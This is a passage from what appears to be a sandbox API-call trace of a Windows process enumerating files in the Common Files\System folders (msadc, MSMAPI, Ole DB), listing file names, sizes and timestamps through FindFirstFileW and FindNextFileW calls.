dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0273.498] GetLastError () returned 0x12 [0273.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0273.498] GetLastError () returned 0x12 [0273.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0273.498] GetLastError () returned 0x12 [0273.499] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0273.499] GetLastError () returned 0x12 [0273.499] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0273.499] GetLastError () returned 0x12 [0273.499] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0273.499] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.500] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0273.501] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0273.501] GetLastError () returned 0x12 [0273.501] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0273.501] GetLastError () returned 0x12 [0273.501] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0273.501] GetLastError () returned 0x12 [0273.501] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0273.502] GetLastError () returned 0x12 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0273.502] GetLastError () returned 0x12 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0273.502] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.623] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0273.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.624] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0273.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.624] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0273.624] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.624] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0273.624] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.624] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.624] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0273.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.626] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0273.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.626] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0273.626] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.626] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0273.626] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0273.626] 